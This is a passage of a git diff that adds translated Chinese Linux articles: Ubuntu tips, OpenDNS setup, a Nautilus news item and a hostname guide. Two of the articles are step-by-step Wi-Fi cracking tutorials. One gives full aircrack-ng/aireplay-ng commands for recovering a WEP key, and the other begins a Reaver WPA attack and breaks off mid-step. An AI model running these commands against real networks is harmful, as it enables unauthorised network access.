(鼠标和触摸板)**,打开后选择‘**Right(右)**’选项,这样就可以改变鼠标的主键以适应左利手用户。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/mouse-left-handed-1.png) + +改回左以适应右利手用户。改变将会在选择后立即生效。 + +就是这样了。现在左撇子用户可以将鼠标移到键盘左边,用左手的食指来正确地操作鼠标了。 + +使用愉快! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsmake-the-mouse-left-handed-for-left-hand-users/ + +译者:[Linchenguang](https://github.com/Linchenguang) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git "a/published/201312/Daily Ubuntu Tips\342\200\223Protect Your Computers Using OpenDNS\342\200\231 Secure DNS Infrastructure.md" "b/published/201312/Daily Ubuntu Tips\342\200\223Protect Your Computers Using OpenDNS\342\200\231 Secure DNS Infrastructure.md" new file mode 100644 index 0000000000..5eac92faa2 --- /dev/null +++ "b/published/201312/Daily Ubuntu Tips\342\200\223Protect Your Computers Using OpenDNS\342\200\231 Secure DNS Infrastructure.md" @@ -0,0 +1,36 @@ +每日Ubuntu小技巧-使用OpenDNS来保护你的电脑 +=== + +互联网是个大熔炉。无论是好人还是坏人,都可以和我们一样连接到网络。那些制作病毒感染人们电脑的坏蛋以及寻求保护人们的好人们全都连接到同一网络中。 + +就像人们所说的那样,互联网是过去所出现的一个最好的东东。它包含着任何人都可以获取的有价值的信息和资源,且大部分可以免费获取。一些最著名高校的人提供了免费的高质量课程,可供任何想学习的人来学习。今天,我们都可以连入互联网真是一件好事情。 + +但是有些事情你一定要记住,当你连入互联网时,你的电脑就成了攻击的目标。成为病毒,木马和其它程序破坏的目标。 + +正因为此,推荐连入互联网的电脑都要使用反病毒和反间谍软件来保护。在有些情况下,即使使用了这些软件也不能完全保证你的安全。再添加一个安全层总是一个好主意。 + +当寻找添加一个额外的安全层去保护你的机器时,使用OpenDNS的安全DNS框架可能会有帮助。因特网有许多部分组成,尽力对其每一部分都进行相应保护是保证安全的最好方法。 + +首先,你要在你的电脑上安装反病毒和反间谍软件。由于浏览因特网时允许你的电脑查询远程DNS服务器,因此使用受保护的安全的DNS服务器将是保护你电脑安全的好方法。(译注:我们认为,其实在Ubuntu上使用反病毒和反间谍软件并不太必要,但是使用OpenDNS来拦截对恶意网址的访问是有必要的。另外,使用国外的DNS可能会比较慢,也许过一段时间,国内也会出现类似的服务。) + +这是一个简明手册,告诉你如何在Ubuntu上配置OpenDNS框架以便保护你的电脑。 + + sudo gedit /etc/dhcp/dhclient.conf + +最后,在打开的文件中添加下面一行,然后保存。 + + supersede domain-name-servers 208.67.222.222,208.67.220.220; + +重启你的电脑,祝你玩的开心! + +![](http://www.liberiangeek.net/wp-content/uploads/2013/11/opendns-ubuntu.png) + +好好享受吧! + +-------------------------------------------------------------------------------- + +via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsprotect-your-computers-using-opendns-secure-dns-infrastructure/ + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201312/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md b/published/201312/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md new file mode 100644 index 0000000000..8741d4fac5 --- /dev/null +++ b/published/201312/Deepen your creative knowledge with explanatory user-friendly icon-creation design story.md @@ -0,0 +1,24 @@ +通俗易懂的设计故事更能激发你的创意 +================================================================================ + +伴随着产品品质、性能稳定和灵活性的提高,Ubuntu渐渐吸引了一批富有经验的设计师,这些设计师覆盖了越来越多的Ubuntu角落,其中就包括操作系统界面美化、优化行为、以及更为贴心的交互实现等等。 + +Faenza和Faience的发明者, **Ubuntu设计师 Matthieu "Tiheum" James**,发布了一篇富有见地的有趣文章,这篇文章围绕着几个图标的发明展开,使得对此感兴趣的用户和第三方开发人员能够直观地了解一个专业的设计师是怎样创作一个图标的。 + +这里提到的图标专为Juju设计,在最近的OpenStack峰会香港站上,在与Ubuntu展台的参观者们见面的时候发布,这些图标采用了一个有趣的特性,“为了向参观Ubuntu展台的观众说明Juju可以做什么,**我们想**用更特殊的一些东西来代替普通的Juju图标。我们决定使用这样一个创意,将不同的配料与酱汁与冰淇淋自由搭配创作出图标,这样用户就能理解,他们能够使用同样的方法,自由搭配建立Juju中的服务。 + +这篇文章介绍了在真实的图标创作过程中的真实心路历程,使读者沉浸在一个学习但却易于掌握的旅程中,在旅程之中包括寻找好的概念、最初的草图、为图标添加立体感、采用不同的设计方法、选择图标背景、精炼图标等等。总之,这是一个通俗易懂的设计故事。 + +![](http://iloveubuntu.net/pictures_me/icon%20creation%20design%20story.jpg) + +你可以在这里享受全文[http://design.canonical.com/2013/11/juju-ice-cream-icon-design/][1]。 + +-------------------------------------------------------------------------------- + +via: http://iloveubuntu.net/deepen-your-creative-knowledge-explanatory-user-friendly-icon-creation-design-story + +译者:[crowner](https://github.com/crowner) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://design.canonical.com/2013/11/juju-ice-cream-icon-design/ diff --git a/published/201312/GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.md b/published/201312/GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.md new file mode 100644 index 0000000000..a9ad691195 --- /dev/null +++ b/published/201312/GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.md @@ -0,0 +1,23 @@ +GCC 4.9现在处于修复BUG的第三阶段 +================================================================================ + +拥有很多[新功能][2]的[GCC 4.9][1]将定于2014年上半年发布。这个GCC的基础代码将不会增加新的功能,目前将只修改大的BUG。 + +Richard Biener宣称代码主干目前处于第三阶段,因此在之后的八个月这些功能将融入到4.9版本,除非有发布主管认可的特例发生,不然不会增加新的功能了。第三阶段只做普通BUG的修复工作,将在2个月内完成,而后到达只编写文档和回归测试的第四阶段。 + +目前GCC4.9有63个P1 回归测试(最严重的回归测试)其次是136个P2回归测试,14个P3回归测试,88个P4回归测试 以及60个P5回归测试。直到P1阶段的63个回归测试完成,GCC4.9才接近发布。GCC 4.9.0发布版将可能在2014第二季度左右到来! + +GCC 4.9.0状态报告可以在[GCC mailing list][3]中被找到。GCC 4.9将会是一个非常棒的更新,并会挑战下个月发布的[LLVM3.4][4]。 + +-------------------------------------------------------------------------------- + +via: http://www.phoronix.com/scan.php?page=news_item&px=MTUyMjk + +译者:[Vic___](http://blog.csdn.net/Vic___) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.phoronix.com/scan.php?page=search&q=GCC+4.9 +[2]:http://www.phoronix.com/scan.php?page=news_item&px=MTUxNzQ +[3]:http://gcc.gnu.org/ml/gcc/2013-11/msg00435.html +[4]:http://www.phoronix.com/scan.php?page=search&q=LLVM+3.4 \ No newline at end of file diff --git a/published/201312/GNOME's File Manager Will Be More User Friendly.md b/published/201312/GNOME's File Manager Will Be More User Friendly.md new file mode 100644 index 0000000000..fcd244ecd3 --- /dev/null +++ b/published/201312/GNOME's File Manager Will Be More User Friendly.md @@ -0,0 +1,42 @@ +GNOME的文件管理器将对用户更加友好 +================================================================================ +**几天前,GNOME的设计师Allan Day在博客里发布了一篇超长博文,介绍了[GNOME桌面环境下的下一代Nautilus文件管理器][1]。** + +本文将为读者简短介绍即将发布的Nautilus都实现了哪些新的设计功能,这些新功能也将成为GNOME3.12桌面环境的组成部分。 + +很显然,GNOME开发小组对大家一直关注的桌面环境的默认文件管理器进行了美化改进,另外将一些后台功能改放到了显著位置,使其对新用户更加明显。 + +不管你是否相信,事实是,有非常多的新用户尝试探索Linux世界之奥秘的时候,面对Nautilus却一筹莫展,他们不知道如何复制、粘贴、重命名、移动,甚至不知道如何访问他们的文件…… 这是一个非常窘迫、亟待解决的大问题! + +因此,Nautilus文件管理器的未来版本将着重解决这些问题,包括图标响应、列表视图、更大更清晰的缩略图,以及更好用的缩放层级等等,通过这些,你可以更容易地组织你的文件。同时,更新后的视图菜单也实现了更优秀的控制操作。 + +![Nautilus list view](http://i1-news.softpedia-static.com/images/news2/GNOME-s-File-Manager-Will-Be-More-User-Friendly-409360-2.png) +*Nautilus列表视图* + +![Nautilus grid view](http://i1-news.softpedia-static.com/images/news2/GNOME-s-File-Manager-Will-Be-More-User-Friendly-409360-3.png) +*Nautilus图标视图* + +![Nautilus gear menu](http://i1-news.softpedia-static.com/images/news2/GNOME-s-File-Manager-Will-Be-More-User-Friendly-409360-4.png) +*Nautilus齿轮菜单* + +Nautilus将要实现的另一个重要特性是各种各样好用的按钮。例如“复制到…、移动到…、创建新文件夹、以…打开”等等,它们将使文件操作变得更加友好。同时,文件预览将变得更加直接,包括一个备受期待的导航功能,它能使照片或文档浏览变得更加容易。 + +不仅如此,侧边栏的可定制化程度也会更高,它将允许用户添加或删除网络设备、网络分区,或着是与它们的远程连接,使整个侧边栏变得更加整洁(这一改进对于像本译者这样的强迫症患者来说多么福音啊~)。新增加的“收藏”标签可用于访问所有你最喜欢的文件,还有改进后的“内容选择功能”,允许用户从多个来源选择项目。 + +![Nautilus add drive dialog](http://i1-news.softpedia-static.com/images/news2/GNOME-s-File-Manager-Will-Be-More-User-Friendly-409360-5.png) +*Nautilus添加设备对话框* + +![Nautilus content selection](http://i1-news.softpedia-static.com/images/news2/GNOME-s-File-Manager-Will-Be-More-User-Friendly-409360-6.png) +*Nautilus内容选择* + +很不幸,目前还没有渠道供我们编译测试最新的Nautilus,但开发版发布的时候,我们会第一时间通知大家。最后提醒大家,Nautilus同时还是Ubuntu Linux的默认文件管理器哦~ + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/GNOME-s-File-Manager-Will-Be-More-User-Friendly-409360.shtml + +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://afaikblog.wordpress.com/2013/12/11/nautilus-next/ diff --git a/published/201312/How To Display And Set Hostname in Linux.md b/published/201312/How To Display And Set Hostname in Linux.md new file mode 100644 index 0000000000..92ef444893 --- /dev/null +++ b/published/201312/How To Display And Set Hostname in Linux.md @@ -0,0 +1,145 @@ +如何在Linux中显示和设置主机名 +================================================================================ +![](http://linoxide.com/wp-content/uploads/2013/11/hostname-command-linux.jpg) + +随着连接到网络的计算机数量越来越多,每一台计算机都需要有一个属性来区别于其它计算机。和现实世界中的人一样,计算机也有一个叫做hostname(主机名)的属性。 + +### 什么是hostname ### + +从它的操作手册来看,hostname是用来显示系统的DNS名字以及为了显示和设置它的主机名或者NIS域名名字。所以hostname依赖于DNS(Domain Name System域名系统)或者NIS(Network Information System网络信息系统)。 + + +### 怎么显示hostname ### + +hostname是为每一个linux发行版的预安装命令。通过在控制台输入hostname,可以显示你的机器的hostname。这里有一个有个简单的命令及其输出。 + + + $ hostname + ubuntu + +上面的命令将会告诉你,计算机的名字是**ubuntu** 。 + + +### 如何设置hostname ### + +Hostname是在你第一次安装Linux的时候设置。其中有一个步骤Linux会让你输入主机名称的信息。不过,如果你愿意的话,你在之后设置也可以。 + +设置你的hostname,你可以使用下面的命令: + + # hostname dev-machine + + $ hostname + dev-machine + +你**需要使用root权限**,或者等同root的权限来设置/修改你计算机的主机名。“#”标识证明你是root用户。上述命令把你的计算机主机名设置成为**dev-machine**。如果你没有收到任何报错信息,那么你的hostname已经改变了。再一次使用hostname命令检查,看看结果。 + +使用hostname命令设置你的hostname **不是永久的** 。当你重启你的计算机,你的设定将会失效。 **为了永久改变** ,你必须手动修改hostname配置文件。 + +**Debian / Ubuntu系的Linux** + +你可以在 **/etc/hostname** 和 **/etc/hosts** 文件夹中找到这个文件 + +下面是每一个文件的内容 + +**/etc/hostname** + + # vi /etc/hostname + dev-machine + +**/etc/hosts** + + # vi /etc/hosts + 127.0.0.1 localhost + 127.0.0.1 dev-machine + +你将会发现不用重启你的linux它就即刻生效。 + +**RedHat / CentOS系的Linux** + +你可以在 **/etc/hosts** 和 **/etc/sysconfig/networks** 文件夹中找到这个文件。 + +下面是每一个文件的内容 + +**/etc/hosts** + + 127.0.0.1 localhost.localdomain localhost dev-machine + ::localhost 127.0.0.1 + +**/etc/sysconfig/network** + + NETWORKING=yes + NETWORKING_IPV6=no + HOSTNAME=dev-machine + +### 怎么显示DNS域名 ### + +来自上面的hostname的定义,hostname也可以显示你的Linux的DNS名字。如果你的hostname命令会显示你的hostname,那么dnsdomainname命令也就会显示你的域名。来看看这个简单的例子。 + + $ dnsdomainname + bris.co.id + +在本篇文章,dnsdomainname命令的结果是 **bris.co.id**。 + +如果你看见结果是 (**none**),那么你的机器**没有配置FQDN(Fully Qualified Domain Name 完全符合标准的域名)** 。dnsdomainname命令摘取来自**/etc/hosts**文件的信息。你应该配置它为FQDN格式。下面是一个简单的例子: + +**/etc/hosts** + + 127.0.0.1 localhost.localdomain localhost dev-machine + ::localhost 127.0.0.1 + 192.168.0.104 dev-machine.bris.co.id dev-machine + +为了显示更多的细节,你可以使用参数**-v** + + $ dnsdomainname -v + gethostname()=’dev-machine.bris.co.id’ + Resolving ‘dev-machine.bris.co.id’ … + Result: h_name=’dev-machine.bris.co.id’ + Result: h_aliases=’dev-machine’ + Result: h_addr_list=’192.168.0.104’ + +### 如何显示hostname的更多细节信息### + +Hostname命令可以使用多个参数和一些别名,比如dnsdomainname命令就是它的一个别名。这些参数在每日操作中是有用的。下面这些命令的结果是基于**/etc/hosts**的上述配置。 + +**显示IP地址** + + $ hostname -i + 192.168.0.104 + +**显示域名** + + $ hostname -d + bris.co.id + +**显示短主机名** + $ hostname -s + dev-machine + +*这个命令将会产生与只输入hostname同样的结果* + +**显示FQDN格式** + + $ hostname -f + dev-machine.bris.co.id + +**显示细节信息** + +所有的参数包括上述信息,都可以通过使用参数**-v** 和 **-d** 来概括。让我们来看一个例子。 + + $ hostname -v -d + gethostname()=’dev-machine.bris.co.id’ + Resolving ‘dev-machine.bris.co.id’ … + Result: h_name=’dev-machine.bris.co.id’ + Result: h_aliases=’dev-machine’ + Result: h_addr_list=’192.168.0.104’ + bris.co.id + +觉得熟悉吗?没错,运行结果与上面提到的 **dnsdomainname -v** 命令式相同的。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/display-set-hostname-linux/ + +译者:[Vic___](http://blog.csdn.net/Vic___) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201312/How to Crack a Wi-Fi Network's WEP Password with BackTrack.md b/published/201312/How to Crack a Wi-Fi Network's WEP Password with BackTrack.md new file mode 100644 index 0000000000..f9de07d18a --- /dev/null +++ b/published/201312/How to Crack a Wi-Fi Network's WEP Password with BackTrack.md @@ -0,0 +1,125 @@ +如何使用BackTrack破解WIFI无线网络的WEP密钥 +================================================================================ + +![](http://img.gawkerassets.com/img/17idgc21242wbjpg/ku-xlarge.jpg) + +你可能已经知道如果你想要加锁自己的WIFI无线网络,你最好选择[WPA加密][3]方式,因为WEP加密很容易被人破解。但是,你知道有多么的容易么?下面我们来看看吧。 + +*注意:此帖是验证如何破解很少使用而陈旧的WEP加密协议。如果你希望破解的网络采用了更受欢迎的WPA加密,请看这篇:[如何使用Reaver破解Wi-Fi网络的WPA密码][2]。* + +今天我们来看看如何一步一步的破解采用WEP加密方法加密的WIFI网络。但是,有言在先:知识是一种力量,但是力量并不意味着你应该成为一个混球或者做任何违法的事。知道[如何挑选一把锁具][3]并不会让你成为一个贼。请将此帖用于教育性质或者概念验证性试验。 + +关于如何使用这个方案破解WEP加密的教程在互联网上有很多。认认真真的谷歌下,这个并不能被称作新闻。但是,让人惊讶的是如笔者一般的只有很少的网络经验的菜鸟,也可以使用一些免费的软件和廉价的WIFI适配器来完成这个做破解。下面就来看看吧! + +### 你需要些什么 ### +![](http://img.gawkerassets.com/img/17ggkrsu8hf19png/original.png) + +除非你是一个电脑网络安全的忍者,否则你不太可能具有完成实验的所有工具。以下是你需要的: + +- **一个兼容的无线适配器**.这是最主要的需求。你需要一个无线适配器,能用来完成包注入,你的电脑很可能不具备这个功能。在和我的安全专家邻居讨论了以后,我从亚马逊上花了50美元购买了一个Alfa AWUS050NH适配器,图片如上。更新:别学我,其实应该买[Alfa AWUS036H][4]而不是US050NH。[视频][5]里的哥们儿用$12美金在Ebay上买了一个解调器(同时可以选择把[自己的路由器][6]卖掉)。网上有很多可以[兼容aircrack的适配器][7]。 + +- **[一个BackTrack Live CD][8]**. 我们已经提供了一个完整的[BackTrack 3的安装使用教程][9],Linux Live CD可以让你完成所有的安全测试和测试工作。请自行下载一个CD镜像,然后刻录或者从VMware中启动它。 + +- **一个靠近的WEP加密的WIFI网络**. 信号需要足够的强,理想的情况下最好有用户正在使用、连接和断开设备。越多的人使用网络,你就可以的到更多的破解数据,这样你就更可能成功。 + +- **使用命令行的耐心**. 这里总共有10步,总共需要输入很长、很难懂的命令,然后等你的wifi网卡收集足够破解密码的数据。就像一个医生和一个急躁的病人说,要有点耐心。 + +### 破解WEP ### + +为了破解WEP,你需要启动一个Konsole,它是BackTrack内置的命令行界面,它在任务栏的左下角,从左往右第二个图标。现在,输入命令吧。 + +第一步,运行下面的命令,获得你网卡列表: + + airmon-ng + +笔者只看见了一个ra0的结果。你的可能不一样;记录下这些内容(找个纸或者截图)。现在开始,更改替换掉命令中每一个包括(interface)的地方。 + +现在,运行下面的四个命令。看看截图里的输入结果。 + + + airmon-ng stop (interface) + ifconfig (interface) down + macchanger —mac 00:11:22:33:44:55 (interface) + airmon-ng start (interface) + +![](http://img.gawkerassets.com/img/17ggkrsub9llbpng/ku-xlarge.png) + +如果你没有获得像截图一样的结果,最可能的情况就是你的无线网卡不能在特殊破解模式下工作。如果你成功了,你应该已经成功的在你的无线网卡上伪造了一个新的MAC地址,00:11:22:33:44:55. + +现在,开始使用的你网络接口,运行:(译者注:interface在范例中就是ra0) + + airodump-ng (interface) + +就可以看见你周围的wifi网络列表了。当你认准了你的目标后,按Ctrl+C结束列表。高亮你感兴趣的网络,同时记录下两样数据:它的BSSID和它的Channel(讯道,标签为CH的那列),就像下面的截图。很明显你想要破解的网络需要是WEP加密的,而不是WPA或者其他加密方式。 + +![](http://img.gawkerassets.com/img/17ggkrut97td8png/ku-xlarge.png) + +就像我说的,按Ctrl+C来终止列表。(我需要重复一两次来找到我需要的网络)一旦你找到了你需要破解的网络,高亮BSSID然后复制它到你的剪切板来为将要输入的命令做准备。 + +现在我们需要观察你选中的目标网络,并捕捉信息存入一个文件里,运行如下命令: + + airodump-ng -c (channel) -w (file name) —bssid (bssid) (interface) + +其中,(channel),(bssid)就是你之前获取的那些信息。你可以使用Shift+Insert来将剪切板中的bssid信息粘贴到命令行中。随便给你的文件取个名字。我用的是“YoYo”,我破解的网络的名字。 + +![](http://img.gawkerassets.com/img/17ggkrutbx04dpng/ku-xlarge.png) + +你能够得到如截图中的窗口输出。就这么放着这个窗口。在前台新建一个konsole窗口,输入如下命令: + + aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) (interface) + +这里的ESSID是接入点SSID的名字,例如我的就是YoYo。你希望能在运行后得到“Association successful”的结果。 + +![](http://img.gawkerassets.com/img/17ggkrut9v67spng/ku-xlarge.png) + +你如果到了这一步,现在是时候运行下面的命令了: + + aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface) + +现在,我们创建了一个路由通路来更快的抓取数据,从而加快我们的破解过程。几分钟以后,前台的窗口会开始疯狂的读写数据包。(这时,我也不能用YoYo的网络在另一台机器上上网)这里,你可以喝杯Java牌儿咖啡,然后出去走走。一般来说,你需要收集到足够的数据后再运行你的破解程序。看着“#Data”列里的数据,你需要它在10,000以上。(图里的数据只有854) + +这个过程可能需要一些时间,这取决于你的网络信号强度(截图中可以看到,我的信号强度低于-32DB,虽然YoYo的AP和我的适配器在同一间屋里)。等待直到包数据到达10K,因为在此之前破解过程不会成功。实际上,你可能需要超过10K,虽然他可能是大多数情况下都足够了。 + +![](http://img.gawkerassets.com/img/17ggkrwseb5uipng/ku-xlarge.png) + +一旦你收集了足够多的数据,就是见证奇迹的时刻了。启动第三个终端窗口,同时输入下面的命令来破解你收集到的数据: + + aircrack-ng -b (bssid) (filename-01.cap) + +这里的filename就是你在上面输入的文件名。你可以在自己的Home目录下看到。他应该是一个.cap后缀名的文件。 + +如果你没有足够的数据,破解可能失败,aircrack会告诉你获得更多的数据后重新尝试。如果成功了,你会看到如图结果: +![](http://img.gawkerassets.com/img/17ggkrws8f1gepng/ku-medium.png) + +WEP密钥会接着显示“KEY FOUND”。去掉引号,然后输入他就可以登录到目标网络了。 + +### 这个过程中的问题 ### + +通过这篇文章,我们可以证明想要破解WEP加密的网络对于任何一个具有硬件和软件人来说是如此简单的过程。我一直认为是这样的,但是不像下面视频里的伙计,这个过程中我遇到了很多的问题。实际上,你应该可以注意到最后一张截图和其他的不一样,因为它不是我的截图。虽然我破解的AP是我自己的AP,和我的Alfa在同一间屋子里,而且读取的信号强度一直在-30左右,但是数据的收集速度依然很缓慢,而在数据收集完成以前,BackTrack不能破解他。在尝试了各种方案(在我的MAC和PC上),我始终没能抓取到足够的数据量来破解密钥。 + +所以,这个过程在理论上是很简单的,实际上因为设备、到AP的距离却又因人而异. + +可以去Youtube上看看视频,感受下这个伙计的实际操作。 + +[http://www.youtube.com/embed/kDD9PjiQ2_U?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1][10] + +感受到一点使用BackTrack破解WEP加密的作用了么?你想说些什么呢?赶快换掉它吧。 + +-------------------------------------------------------------------------------- + +via: http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack + +译者:[stduolc](https://github.com/stduolc) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://lifehacker.com/386675/secure-your-home-wi+fi-network +[2]:http://linux.cn/article-2335-1.html +[3]:http://lifehacker.com/399735/how-to-pick-a-lock-with-a-bump-key +[4]:http://www.amazon.com/Alfa-AWUS036H-802-11b-Wireless-network/dp/B002WCEWU8?tag=lifehackeramzn-20&ascsubtag=[referrer|lifehacker.com[type|link[postId|5305094[asin|B002WCEWU8[authorId|5774310829120954491 +[5]:http://www.youtube.com/watch?v=oHq-cKoYcr8 +[6]:http://www.youtube.com/watch?v=bFlOHMj7Qoc +[7]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fwww.aircrack-ng.org%2Fdoku.php%3Fid%3Dcompatible_cards&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5305094%2Fhow-to-crack-a-wi%2Bfi-networks-wep-password-with-backtrack&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[8]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fwww.backtrack-linux.org%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5305094%2Fhow-to-crack-a-wi%2Bfi-networks-wep-password-with-backtrack&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[9]:http://lifehacker.com/5166530/backtrack-is-a-security+focused-live-cd-packed-with-system-tools +[10]:http://www.youtube.com/embed/kDD9PjiQ2_U?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1 \ No newline at end of file diff --git a/published/201312/How to Crack a Wi-Fi Network's WPA Password with Reaver.md b/published/201312/How to Crack a Wi-Fi Network's WPA Password with Reaver.md new file mode 100644 index 0000000000..45ce3b1c1c --- /dev/null +++ b/published/201312/How to Crack a Wi-Fi Network's WPA Password with Reaver.md @@ -0,0 +1,154 @@ +如何使用Reaver破解Wi-Fi网络的WPA密码 +================================================================================ +![](http://img.gawkerassets.com/img/17pw3mgej3x93jpg/ku-xlarge.jpg) + +Wi-Fi网络能够让我们便利地访问因特网,但同时,我们又不希望隔壁抠门猥琐男总是蹭我们的网,所以自然要给WiFi加个密码,对吧?于是,好消息是,也许你已经看过我的另一篇文章,“[如何轻易破解WEP密码][1]”,所以你使用了更稳固的WPA安全协议。 + +但坏消息是,现在有一款自由开源新工具——[Reaver][2],已经挖掘出了无线路由器的一个漏洞,由此能够破解绝大多数路由器上的密码。今天,我就来一步步介绍,如何使用Reaver破解WPA/WPA2密码。最后我会给出相应的防范对策。 + +文章的第一部分,是使用Reaver破解WPA的详细步骤,读者可以看视频,也可以跟着下面的文字一起做。然后,我会解释Reaver的工作原理。最后,介绍如何防范Reaver攻击。 + +[http://www.youtube.com/embed/z1c1OIMbmb0?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1][3] + +在正式开始之前,我还是要不厌其烦强调一下:知识就是力量,但是拥有力量不代表着可以为所欲为、触犯法律。同样,骑白马的不一定是王子,会开锁的也不一定是小偷。本文只是关于某些技术的实验与验证,只适用于学习。你知道的越多,就能够越好的保护自己。 + +###准备工作### + +首先,无需成为一名网络专家,学会使用复杂的命令行工具,你只需要准备一张空白DVD、一台能连接WiFi的电脑,并腾出几个小时时间,这就是我们基本需要的东西。要安装Reaver,可以有很多方法,但是这里我们建议你按照下面的指南来做: + +![](http://img.gawkerassets.com/img/194pra0777vwyjpg/ku-xlarge.jpg) + +- [**The BackTrack 5 Live DVD**][4]。BackTrack是一款支持自启动的Linux发行版,上面集成了大量的网络测试工具。虽然这对于安装、配置Reaver并不是必需的一个条件,但是对于大多数用户却是最简单一个方法。从[BackTrack的下载页面(传送门)][5]下载Live DVD,然后刻盘。这里你也可以下载镜像然后使用VMware安装,如果你不知道VMware是啥,额,那就还是刻盘吧。如图所示,下载的时候,下拉菜单选择BackTrack 5 R3版本、Gnome环境、根据你的CPU选择32或64位系统(如果这里不确定是32还是64,为了保险起见,请选择32位),下载类型选择ISO,然后就可以点击下载了。 + +- **配有DVD光驱、支持WiFi的电脑**。BackTrack支持大多数的笔记本无线网卡,这一点对于大多数读者应该没什么问题。同时,你的电脑需要有一个DVD光驱,这样才能从BackTrack光盘启动。我的测试环境是一台用了6年的MacBook Pro。 + +- **附近要有采用WPA加密的WiFi网络**。没WiFi网,你破解谁去 =。= ……一会我会在“Reaver的工作原理部分”介绍,WiFi防护设置是如何产生安全漏洞、WPA破解是如何成为可能的。 + +- **最后,你还需要一点点的耐心**。这是整个实验的最后一步,使用Reaver破解WPA密码并不难,它采用的是暴力破解,因此,你的电脑将会测试大量不同的密码组合,来尝试破解路由器,直到最终找到正确的密码。我测试的时候,Reaver花了大概两个半小时破解了我的WiFi密码。[Reaver的主页][6]上介绍,一般这个时间在4到10个小时之间,视具体情况而定。 + +###让我们开始吧### + +此时,你应该已经把BackTrack的DVD光盘刻录好了,笔记本也应该已经准备就绪。 + +####第1步:启动BackTrack#### + +要启动BackTrack,只需将DVD放入光驱,电脑从光盘启动。(如果不知道如何使用live CD或DVD启动,请自行Google。)启动过程中,BackTrack会让你选择启动模式,选择默认的“BackTrack Text - Default Boot Text Mode”然后回车。 + +最终BackTrack会来到一个命令行界面,键入`startx`,回车,BackTrack就会进入它的图形界面。 + +####第2步:安装Reaver#### + +(文章更新:Reaver在R3版中已经预装,如果你安装的是BT5的R3版,这一步骤可以忽略,直接跳到第3步。) + +Reaver已经加入了BackTrack的最新版软件包,只是还没有集成到live DVD里,所以,在本文最初撰写的时候,你还需要手动安装Reaver。要安装Reaver,首先设置电脑联网。 + +1.点击Applications > Internet > Wicd Network Manager +2.选择你的网络并点击Connect,如果需要的话,键入密码,点击OK,然后再次点击Connect。 + +连上网以后,安装Reaver。点击菜单栏里的终端按钮(或者依次点击 Applications > Accessories > Terminal)。在终端界面,键入以下命令: + + apt-get update + +更新完成之后,键入: + + apt-get install reaver + +如果一切顺利,Reaver现在应该已经安装好了。如果你刚才的下载安装操作使用的是WiFi上网,那么在继续下面的操作之前,请先断开网络连接,并假装不知道WiFi密码 =。= 接下来我们要准备破解它~ + +####第3步:搜集设备信息,准备破解#### + +在使用Reaver之前,你需要获取你无线网卡的接口名称、路由的BSSID(BSSID是一个由字母和数字组成的序列,用于作为路由器的唯一标识)、以及确保你的无线网卡处于监控模式。具体参见以下步骤。 + +**找到无线网卡:**在终端里,键入: + + iwconfig + +回车。此时你应该看到无线设备的相关信息。一般,名字叫做`wlan0`,但如果你的机子不止一个无线网卡,或者使用的是不常见的网络设备,名字可能会有所不同。 + +![](http://img.gawkerassets.com/img/194prsh4oyo2mjpg/ku-xlarge.jpg) + +**将无线网卡设置为监控模式**:假设你的无线网卡接口名称为`wlan0`,执行下列命令,将无线网卡设置为监控模式: + + airmon-ng start wlan0 + +这一命令将会输出监控模式接口的名称,如下图中箭头所示,一般情况下,都叫做`mon0`。 + +![](http://img.gawkerassets.com/img/194prrjkz8yorjpg/ku-xlarge.jpg) + +**找到你打算破解的路由器的BSSID**:最后,你需要获取路由器的唯一标识,以便Reaver指向要破解的目标。执行以下命令: + + airodump-ng wlan0 + +(注意:如果`airodump-ng 